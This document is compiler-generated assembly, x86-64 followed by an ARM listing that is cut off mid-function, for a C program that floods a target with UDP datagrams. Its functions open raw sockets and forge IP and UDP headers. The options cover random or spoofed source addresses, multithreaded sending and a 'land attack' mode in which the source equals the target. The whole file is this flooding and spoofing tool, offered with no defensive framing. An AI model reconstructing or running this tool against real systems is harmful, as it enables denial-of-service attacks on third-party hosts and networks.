	.file	"618986.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
	.align 8
.LC0:
	.ascii	"Usage: %s [-1pztrsl] <target>\n\nflags:\n\t-1\t\t:: send one"
	.ascii	" dgram and exit\n\t-p <port>\t:: destination port (by defaul"
	.ascii	"t random for each dg"
	.string	"ram)\n\t-z <size>\t:: dgram data length (default 10)\n\t-f <file>\t:: read source IP and dgram data from file\n\t-i <threads>\t:: amount of threads to be spun up\n\nonly root:\n\t-r\t\t:: random source IP for each dgram\n\t-s <source>\t:: set source IP\n\t-l\t\t:: land attack\n\n"
	.text
	.globl	banner
	.type	banner, @function
banner:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	banner, .-banner
	.globl	init_option
	.type	init_option, @function
init_option:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, 60
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	DWORD PTR [rax], 25
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR 57[rax], 1
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	init_option, .-init_option
	.globl	checksum
	.type	checksum, @function
checksum:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	rax, QWORD PTR -24[rbp]
	mov	QWORD PTR -8[rbp], rax
	mov	DWORD PTR -12[rbp], 0
	jmp	.L4
.L5:
	mov	rax, QWORD PTR -8[rbp]
	lea	rdx, 2[rax]
	mov	QWORD PTR -8[rbp], rdx
	movzx	eax, WORD PTR [rax]
	movzx	eax, ax
	add	DWORD PTR -12[rbp], eax
	sub	DWORD PTR -28[rbp], 2
.L4:
	cmp	DWORD PTR -28[rbp], 1
	jg	.L5
	cmp	DWORD PTR -28[rbp], 0
	je	.L7
	mov	rax, QWORD PTR -8[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	add	DWORD PTR -12[rbp], eax
	jmp	.L7
.L8:
	mov	eax, DWORD PTR -12[rbp]
	shr	eax, 16
	mov	edx, eax
	mov	eax, DWORD PTR -12[rbp]
	movzx	eax, ax
	add	eax, edx
	mov	DWORD PTR -12[rbp], eax
.L7:
	mov	eax, DWORD PTR -12[rbp]
	shr	eax, 16
	test	eax, eax
	jne	.L8
	mov	eax, DWORD PTR -12[rbp]
	not	eax
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	checksum, .-checksum
	.section	.rodata
.LC1:
	.string	"socket()"
	.text
	.globl	sendto_nonroot
	.type	sendto_nonroot, @function
sendto_nonroot:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 200
	.cfi_offset 3, -24
	mov	QWORD PTR -200[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -200[rbp]
	mov	QWORD PTR -176[rbp], rax
	mov	rax, QWORD PTR -176[rbp]
	mov	rax, QWORD PTR 16[rax]
	mov	QWORD PTR -168[rbp], rax
	mov	edx, 17
	mov	esi, 2
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -180[rbp], eax
	cmp	DWORD PTR -180[rbp], -1
	jne	.L11
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	eax, 0
	jmp	.L15
.L11:
	mov	rax, QWORD PTR -168[rbp]
	mov	eax, DWORD PTR [rax]
	movsx	rdx, eax
	lea	rax, -160[rbp]
	mov	esi, 120
	mov	rdi, rax
	call	memset@PLT
.L14:
	mov	rax, QWORD PTR -168[rbp]
	movzx	eax, BYTE PTR 57[rax]
	test	al, al
	je	.L13
	call	rand@PLT
	movzx	eax, ax
	mov	rdx, QWORD PTR -176[rbp]
	mov	rbx, QWORD PTR [rdx]
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR 2[rbx], ax
.L13:
	mov	rax, QWORD PTR -176[rbp]
	mov	edi, DWORD PTR 8[rax]
	mov	rax, QWORD PTR -176[rbp]
	mov	rcx, QWORD PTR [rax]
	mov	rax, QWORD PTR -168[rbp]
	mov	eax, DWORD PTR [rax]
	movsx	rdx, eax
	lea	rsi, -160[rbp]
	mov	eax, DWORD PTR -180[rbp]
	mov	r9d, edi
	mov	r8, rcx
	mov	ecx, 0
	mov	edi, eax
	call	sendto@PLT
	mov	rax, QWORD PTR -168[rbp]
	movzx	eax, BYTE PTR 55[rax]
	test	al, al
	je	.L14
	mov	eax, 0
.L15:
	mov	rbx, QWORD PTR -24[rbp]
	sub	rbx, QWORD PTR fs:40
	je	.L16
	call	__stack_chk_fail@PLT
.L16:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	sendto_nonroot, .-sendto_nonroot
	.section	.rodata
.LC2:
	.string	"setsockopt()"
.LC3:
	.string	"r"
.LC4:
	.string	"fopen()"
.LC5:
	.string	"fseek()"
.LC6:
	.string	"ferror()"
.LC7:
	.string	"sendto()"
	.text
	.globl	sendto_root
	.type	sendto_root, @function
sendto_root:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 304
	mov	QWORD PTR -296[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -296[rbp]
	mov	QWORD PTR -240[rbp], rax
	mov	rax, QWORD PTR -240[rbp]
	mov	rax, QWORD PTR 16[rax]
	mov	QWORD PTR -232[rbp], rax
	mov	QWORD PTR -248[rbp], 0
	mov	DWORD PTR -276[rbp], 1
	mov	edx, 17
	mov	esi, 3
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -272[rbp], eax
	cmp	DWORD PTR -272[rbp], -1
	jne	.L18
	lea	rdi, .LC1[rip]
	call	perror@PLT
	mov	eax, 0
	jmp	.L36
.L18:
	lea	rdx, -276[rbp]
	mov	eax, DWORD PTR -272[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 3
	mov	esi, 0
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	jns	.L20
	lea	rdi, .LC2[rip]
	call	perror@PLT
	mov	eax, 0
	jmp	.L36
.L20:
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 54[rax]
	test	al, al
	je	.L21
	mov	rax, QWORD PTR -232[rbp]
	add	rax, 20
	lea	rsi, .LC3[rip]
	mov	rdi, rax
	call	fopen@PLT
	mov	QWORD PTR -248[rbp], rax
	cmp	QWORD PTR -248[rbp], 0
	jne	.L21
	lea	rdi, .LC4[rip]
	call	perror@PLT
	mov	eax, 0
	jmp	.L36
.L21:
	mov	DWORD PTR -268[rbp], 12
	mov	DWORD PTR -264[rbp], 8
	mov	rax, QWORD PTR -232[rbp]
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR -264[rbp]
	add	eax, edx
	mov	DWORD PTR -260[rbp], eax
	mov	DWORD PTR -256[rbp], 20
	mov	edx, DWORD PTR -256[rbp]
	mov	eax, DWORD PTR -260[rbp]
	add	eax, edx
	mov	DWORD PTR -252[rbp], eax
	mov	rax, QWORD PTR -240[rbp]
	mov	rax, QWORD PTR [rax]
	mov	eax, DWORD PTR 4[rax]
	mov	DWORD PTR -200[rbp], eax
	mov	eax, DWORD PTR -260[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -194[rbp], ax
	mov	BYTE PTR -196[rbp], 0
	mov	BYTE PTR -195[rbp], 17
	call	rand@PLT
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -212[rbp], ax
	mov	eax, DWORD PTR -260[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -208[rbp], ax
	mov	eax, DWORD PTR -256[rbp]
	sar	eax, 2
	and	eax, 15
	and	eax, 15
	mov	edx, eax
	movzx	eax, BYTE PTR -192[rbp]
	and	eax, -16
	or	eax, edx
	mov	BYTE PTR -192[rbp], al
	movzx	eax, BYTE PTR -192[rbp]
	and	eax, 15
	or	eax, 64
	mov	BYTE PTR -192[rbp], al
	mov	BYTE PTR -184[rbp], -1
	mov	BYTE PTR -191[rbp], 0
	movzx	eax, BYTE PTR -195[rbp]
	mov	BYTE PTR -183[rbp], al
	mov	WORD PTR -186[rbp], 0
	call	rand@PLT
	mov	WORD PTR -188[rbp], ax
	mov	eax, DWORD PTR -252[rbp]
	mov	WORD PTR -190[rbp], ax
	mov	eax, DWORD PTR -200[rbp]
	mov	DWORD PTR -176[rbp], eax
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 52[rax]
	test	al, al
	je	.L22
	mov	rax, QWORD PTR -232[rbp]
	add	rax, 4
	mov	rdi, rax
	call	inet_addr@PLT
	mov	DWORD PTR -204[rbp], eax
	mov	eax, DWORD PTR -204[rbp]
	mov	DWORD PTR -180[rbp], eax
.L22:
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 56[rax]
	test	al, al
	je	.L23
	mov	eax, DWORD PTR -200[rbp]
	mov	DWORD PTR -204[rbp], eax
	movzx	eax, WORD PTR -212[rbp]
	mov	WORD PTR -210[rbp], ax
	mov	eax, DWORD PTR -200[rbp]
	mov	DWORD PTR -180[rbp], eax
	mov	eax, DWORD PTR -180[rbp]
	mov	DWORD PTR -176[rbp], eax
.L23:
	mov	rax, QWORD PTR -232[rbp]
	mov	eax, DWORD PTR [rax]
	cdqe
	mov	ecx, DWORD PTR -256[rbp]
	mov	edx, DWORD PTR -268[rbp]
	add	ecx, edx
	mov	edx, DWORD PTR -264[rbp]
	add	edx, ecx
	lea	rcx, -144[rbp]
	movsx	rdx, edx
	add	rcx, rdx
	mov	rdx, rax
	mov	esi, 120
	mov	rdi, rcx
	call	memset@PLT
.L33:
	mov	WORD PTR -206[rbp], 0
	mov	WORD PTR -182[rbp], 0
	lea	rdx, -144[rbp]
	mov	eax, DWORD PTR -256[rbp]
	cdqe
	add	rax, rdx
	mov	QWORD PTR -224[rbp], rax
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 54[rax]
	test	al, al
	je	.L24
	lea	rax, -160[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rdx, QWORD PTR -248[rbp]
	lea	rax, -160[rbp]
	mov	esi, 16
	mov	rdi, rax
	call	fgets@PLT
	mov	rax, QWORD PTR -248[rbp]
	mov	rdi, rax
	call	feof@PLT
	test	eax, eax
	je	.L25
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 55[rax]
	test	al, al
	jne	.L38
	mov	rax, QWORD PTR -248[rbp]
	mov	edx, 0
	mov	esi, 0
	mov	rdi, rax
	call	fseek@PLT
	test	eax, eax
	jns	.L38
	lea	rdi, .LC5[rip]
	call	perror@PLT
	mov	eax, 0
	jmp	.L36
.L25:
	mov	rax, QWORD PTR -248[rbp]
	mov	rdi, rax
	call	ferror@PLT
	test	eax, eax
	je	.L24
	lea	rdi, .LC6[rip]
	call	perror@PLT
	mov	rax, QWORD PTR -248[rbp]
	mov	rdi, rax
	call	clearerr@PLT
	jmp	.L27
.L24:
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 53[rax]
	test	al, al
	jne	.L28
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 54[rax]
	test	al, al
	je	.L29
.L28:
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 54[rax]
	test	al, al
	je	.L30
	lea	rax, -160[rbp]
	mov	rdi, rax
	call	inet_addr@PLT
	jmp	.L31
.L30:
	call	rand@PLT
.L31:
	mov	DWORD PTR -204[rbp], eax
	mov	eax, DWORD PTR -204[rbp]
	mov	DWORD PTR -180[rbp], eax
.L29:
	mov	rax, QWORD PTR -240[rbp]
	mov	rax, QWORD PTR [rax]
	movzx	eax, WORD PTR 2[rax]
	mov	WORD PTR -210[rbp], ax
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 57[rax]
	test	al, al
	je	.L32
	call	rand@PLT
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -210[rbp], ax
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 56[rax]
	test	al, al
	je	.L32
	movzx	eax, WORD PTR -210[rbp]
	mov	WORD PTR -212[rbp], ax
.L32:
	mov	eax, DWORD PTR -268[rbp]
	movsx	rdx, eax
	lea	rcx, -204[rbp]
	mov	rax, QWORD PTR -224[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	eax, DWORD PTR -264[rbp]
	movsx	rdx, eax
	mov	eax, DWORD PTR -268[rbp]
	movsx	rcx, eax
	mov	rax, QWORD PTR -224[rbp]
	add	rcx, rax
	lea	rax, -212[rbp]
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	mov	edx, DWORD PTR -268[rbp]
	mov	eax, DWORD PTR -260[rbp]
	add	edx, eax
	mov	rax, QWORD PTR -224[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	checksum
	mov	WORD PTR -206[rbp], ax
	mov	eax, DWORD PTR -264[rbp]
	movsx	rdx, eax
	mov	eax, DWORD PTR -268[rbp]
	movsx	rcx, eax
	mov	rax, QWORD PTR -224[rbp]
	add	rcx, rax
	lea	rax, -212[rbp]
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	lea	rdx, -144[rbp]
	mov	eax, DWORD PTR -268[rbp]
	cdqe
	add	rax, rdx
	mov	QWORD PTR -224[rbp], rax
	mov	eax, DWORD PTR -256[rbp]
	movsx	rdx, eax
	lea	rcx, -192[rbp]
	mov	rax, QWORD PTR -224[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	edx, DWORD PTR -252[rbp]
	mov	rax, QWORD PTR -224[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	checksum
	mov	WORD PTR -182[rbp], ax
	mov	eax, DWORD PTR -256[rbp]
	movsx	rdx, eax
	lea	rcx, -192[rbp]
	mov	rax, QWORD PTR -224[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edi, DWORD PTR 8[rax]
	mov	rax, QWORD PTR -240[rbp]
	mov	rcx, QWORD PTR [rax]
	mov	eax, DWORD PTR -252[rbp]
	movsx	rdx, eax
	mov	rsi, QWORD PTR -224[rbp]
	mov	eax, DWORD PTR -272[rbp]
	mov	r9d, edi
	mov	r8, rcx
	mov	ecx, 0
	mov	edi, eax
	call	sendto@PLT
	cmp	rax, -1
	jne	.L27
	lea	rdi, .LC7[rip]
	call	perror@PLT
	jmp	.L27
.L38:
	nop
.L27:
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 55[rax]
	test	al, al
	je	.L33
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 54[rax]
	test	al, al
	je	.L34
	mov	rax, QWORD PTR -248[rbp]
	mov	rdi, rax
	call	feof@PLT
	test	eax, eax
	je	.L33
.L34:
	mov	rax, QWORD PTR -232[rbp]
	movzx	eax, BYTE PTR 54[rax]
	test	al, al
	je	.L35
	mov	rax, QWORD PTR -248[rbp]
	mov	rdi, rax
	call	fclose@PLT
.L35:
	mov	eax, 0
.L36:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L37
	call	__stack_chk_fail@PLT
.L37:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	sendto_root, .-sendto_root
	.section	.rodata
	.align 8
.LC8:
	.string	"Datagram data too long (max 100 bytes)"
.LC9:
	.string	"1p:z:f:rs:li:"
.LC10:
	.string	"Started thread: %d\n"
.LC11:
	.string	"Finished"
	.text
	.globl	main
	.type	main, @function
main:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 200
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	DWORD PTR -228[rbp], edi
	mov	QWORD PTR -240[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -200[rbp], 0
	mov	DWORD PTR -212[rbp], 1
	mov	edi, 0
	call	time@PLT
	mov	edi, eax
	call	srand@PLT
	lea	rax, -128[rbp]
	mov	rdi, rax
	call	init_option
	jmp	.L40
.L53:
	cmp	DWORD PTR -204[rbp], 49
	je	.L41
	cmp	DWORD PTR -204[rbp], 49
	jl	.L42
	cmp	DWORD PTR -204[rbp], 122
	jg	.L42
	cmp	DWORD PTR -204[rbp], 102
	jl	.L42
	mov	eax, DWORD PTR -204[rbp]
	sub	eax, 102
	cmp	eax, 20
	ja	.L42
	mov	eax, eax
	lea	rdx, 0[0+rax*4]
	lea	rax, .L44[rip]
	mov	eax, DWORD PTR [rdx+rax]
	cdqe
	lea	rdx, .L44[rip]
	add	rax, rdx
	notrack jmp	rax
	.section	.rodata
	.align 4
	.align 4
.L44:
	.long	.L50-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L49-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L48-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L47-.L44
	.long	.L42-.L44
	.long	.L46-.L44
	.long	.L45-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L42-.L44
	.long	.L43-.L44
	.text
.L41:
	mov	BYTE PTR -73[rbp], 1
	jmp	.L40
.L47:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -208[rbp], eax
	mov	BYTE PTR -71[rbp], 0
	jmp	.L40
.L43:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -128[rbp], eax
	mov	eax, DWORD PTR -128[rbp]
	cmp	eax, 100
	jle	.L40
	lea	rdi, .LC8[rip]
	call	puts@PLT
	mov	eax, 1
	jmp	.L65
.L50:
	mov	rax, QWORD PTR optarg[rip]
	lea	rdx, -128[rbp]
	lea	rcx, 20[rdx]
	mov	edx, 32
	mov	rsi, rax
	mov	rdi, rcx
	call	strncpy@PLT
	mov	BYTE PTR -76[rbp], 0
	mov	BYTE PTR -75[rbp], 0
	mov	BYTE PTR -74[rbp], 1
	mov	BYTE PTR -72[rbp], 0
	jmp	.L40
.L46:
	mov	BYTE PTR -76[rbp], 0
	mov	BYTE PTR -75[rbp], 1
	mov	BYTE PTR -74[rbp], 0
	mov	BYTE PTR -72[rbp], 0
	jmp	.L40
.L45:
	mov	rax, QWORD PTR optarg[rip]
	lea	rdx, -128[rbp]
	lea	rcx, 4[rdx]
	mov	edx, 16
	mov	rsi, rax
	mov	rdi, rcx
	call	strncpy@PLT
	mov	BYTE PTR -76[rbp], 1
	mov	BYTE PTR -75[rbp], 0
	mov	BYTE PTR -74[rbp], 0
	mov	BYTE PTR -72[rbp], 0
	jmp	.L40
.L48:
	mov	BYTE PTR -76[rbp], 0
	mov	BYTE PTR -75[rbp], 0
	mov	BYTE PTR -74[rbp], 0
	mov	BYTE PTR -72[rbp], 1
	jmp	.L40
.L49:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -212[rbp], eax
	jmp	.L40
.L42:
	mov	edi, 1
	call	exit@PLT
.L40:
	mov	rcx, QWORD PTR -240[rbp]
	mov	eax, DWORD PTR -228[rbp]
	lea	rdx, .LC9[rip]
	mov	rsi, rcx
	mov	edi, eax
	call	getopt@PLT
	mov	DWORD PTR -204[rbp], eax
	cmp	DWORD PTR -204[rbp], 0
	jns	.L53
	mov	edx, DWORD PTR optind[rip]
	mov	eax, DWORD PTR -228[rbp]
	sub	eax, edx
	test	eax, eax
	jle	.L54
	mov	edx, DWORD PTR optind[rip]
	mov	eax, DWORD PTR -228[rbp]
	sub	eax, edx
	cmp	eax, 1
	jle	.L55
.L54:
	mov	rax, QWORD PTR -240[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	banner
	jmp	.L56
.L55:
	mov	eax, DWORD PTR optind[rip]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -240[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	gethostbyname@PLT
	mov	QWORD PTR -200[rbp], rax
	cmp	QWORD PTR -200[rbp], 0
	jne	.L56
	mov	eax, DWORD PTR optind[rip]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -240[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	herror@PLT
	mov	eax, 1
	jmp	.L65
.L56:
	mov	rax, QWORD PTR -200[rbp]
	mov	eax, DWORD PTR 16[rax]
	mov	WORD PTR -144[rbp], ax
	mov	rax, QWORD PTR -200[rbp]
	mov	eax, DWORD PTR 20[rax]
	movsx	rdx, eax
	mov	rax, QWORD PTR -200[rbp]
	mov	rax, QWORD PTR 24[rax]
	mov	rax, QWORD PTR [rax]
	lea	rcx, -144[rbp]
	add	rcx, 4
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	movzx	eax, BYTE PTR -71[rbp]
	test	al, al
	jne	.L57
	mov	eax, DWORD PTR -208[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -142[rbp], ax
.L57:
	lea	rax, -144[rbp]
	mov	QWORD PTR -176[rbp], rax
	mov	DWORD PTR -168[rbp], 16
	lea	rax, -128[rbp]
	mov	QWORD PTR -160[rbp], rax
	movzx	eax, BYTE PTR -75[rbp]
	test	al, al
	jne	.L58
	movzx	eax, BYTE PTR -76[rbp]
	test	al, al
	jne	.L58
	movzx	eax, BYTE PTR -74[rbp]
	test	al, al
	jne	.L58
	movzx	eax, BYTE PTR -72[rbp]
	test	al, al
	je	.L59
.L58:
	mov	rax, rsp
	mov	rbx, rax
	mov	eax, DWORD PTR -212[rbp]
	movsx	rdx, eax
	sub	rdx, 1
	mov	QWORD PTR -192[rbp], rdx
	movsx	rdx, eax
	mov	r14, rdx
	mov	r15d, 0
	movsx	rdx, eax
	mov	r12, rdx
	mov	r13d, 0
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	eax, 16
	sub	rax, 1
	add	rax, rdx
	mov	esi, 16
	mov	edx, 0
	div	rsi
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L60:
	cmp	rsp, rdx
	je	.L61
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L60
.L61:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L62
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L62:
	mov	rax, rsp
	add	rax, 7
	shr	rax, 3
	sal	rax, 3
	mov	QWORD PTR -184[rbp], rax
.L63:
	mov	eax, DWORD PTR -212[rbp]
	mov	esi, eax
	lea	rdi, .LC10[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -212[rbp]
	sub	eax, 1
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -184[rbp]
	lea	rdi, [rdx+rax]
	lea	rax, -176[rbp]
	mov	rcx, rax
	lea	rdx, sendto_root[rip]
	mov	esi, 0
	call	pthread_create@PLT
	sub	DWORD PTR -212[rbp], 1
	cmp	DWORD PTR -212[rbp], 0
	jg	.L63
	mov	rax, QWORD PTR -184[rbp]
	mov	rax, QWORD PTR [rax]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	mov	rsp, rbx
	jmp	.L64
.L59:
	lea	rax, -176[rbp]
	mov	rdi, rax
	call	sendto_nonroot
.L64:
	lea	rdi, .LC11[rip]
	call	puts@PLT
	mov	eax, 0
.L65:
	mov	rbx, QWORD PTR -56[rbp]
	sub	rbx, QWORD PTR fs:40
	je	.L66
	call	__stack_chk_fail@PLT
.L66:
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"618986.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Usage: %s [-1pztrsl] <target>\012\012flags:\012\011"
	.ascii	"-1\011\011:: send one dgram and exit\012\011-p <por"
	.ascii	"t>\011:: destination port (by default random for ea"
	.ascii	"ch dgram)\012\011-z <size>\011:: dgram data length "
	.ascii	"(default 10)\012\011-f <file>\011:: read source IP "
	.ascii	"and dgram data from file\012\011-i <threads>\011:: "
	.ascii	"amount of threads to be spun up\012\012only root:\012"
	.ascii	"\011-r\011\011:: random source IP for each dgram\012"
	.ascii	"\011-s <source>\011:: set source IP\012\011-l\011\011"
	.ascii	":: land attack\012\012\000"
	.text
	.align	2
	.global	banner
	.syntax unified
	.arm
	.fpu softvfp
	.type	banner, %function
banner:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	ldr	r0, .L2
	bl	printf
	mov	r0, #1
	bl	exit
.L3:
	.align	2
.L2:
	.word	.LC0
	.size	banner, .-banner
	.align	2
	.global	init_option
	.syntax unified
	.arm
	.fpu softvfp
	.type	init_option, %function
init_option:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	mov	r2, #60
	mov	r1, #0
	ldr	r0, [fp, #-8]
	bl	memset
	ldr	r3, [fp, #-8]
	mov	r2, #25
	str	r2, [r3]
	ldr	r3, [fp, #-8]
	mov	r2, #1
	strb	r2, [r3, #57]
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	init_option, .-init_option
	.align	2
	.global	checksum
	.syntax unified
	.arm
	.fpu softvfp
	.type	checksum, %function
checksum:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #20
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, [fp, #-16]
	str	r3, [fp, #-12]
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L6
.L7:
	ldr	r3, [fp, #-12]
	add	r2, r3, #2
	str	r2, [fp, #-12]
	ldrh	r3, [r3]
	mov	r2, r3
	ldr	r3, [fp, #-8]
	add	r3, r3, r2
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-20]
	sub	r3, r3, #2
	str	r3, [fp, #-20]
.L6:
	ldr	r3, [fp, #-20]
	cmp	r3, #1
	bgt	.L7
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L9
	ldr	r3, [fp, #-12]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, [fp, #-8]
	add	r3, r3, r2
	str	r3, [fp, #-8]
	b	.L9
.L10:
	ldr	r3, [fp, #-8]
	lsr	r2, r3, #16
	ldr	r3, [fp, #-8]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
